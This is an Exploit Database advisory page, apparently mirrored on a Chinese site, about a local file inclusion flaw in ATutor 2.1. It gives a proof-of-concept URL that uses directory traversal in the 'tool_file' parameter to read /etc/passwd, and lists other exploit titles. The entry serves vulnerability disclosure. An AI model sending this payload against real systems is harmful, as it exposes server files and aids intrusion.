ATutor 2.1 – ‘tool_file’ Local File Inclusion

Exploit Database
139 阅读

作者： Julian Horoszkiewicz

日期： 2012-11-16
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/38040/

source: https://www.securityfocus.com/bid/56600/info

ATutor is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

ATutor 2.1 is vulnerable; other versions may also be affected.

http://www.example.com/ATutor-2.1/ATutor/mods/_core/tool_manager/index.php?h=1&tool_file=./../../../../../../../../../../etc/passwd

last Exploits
ATutor 2.1 – ‘tool_file’ Local File Inclusion的更多信息

SmarterTools SmarterStats 5.3.3819 – ‘frmHelp.aspx’ Cross-Site Scripting：
ZTE ZXV10 W300 Router – Hard-Coded Credentials：
eSmile Script – ‘index.php’ SQL Injection：
Claroline < 1.7.7 - Arbitrary File Inclusion：
Banner Ad Management Script – SQL Injection：
Quadz School Management System 3.1 – ‘uisd’ SQL Injection：
Horde Webmail 5.2.22 – Multiple Vulnerabilities：
Auto Dealership & Vehicle Showroom WebSys 1.0 – Multiple Vulnerabilities：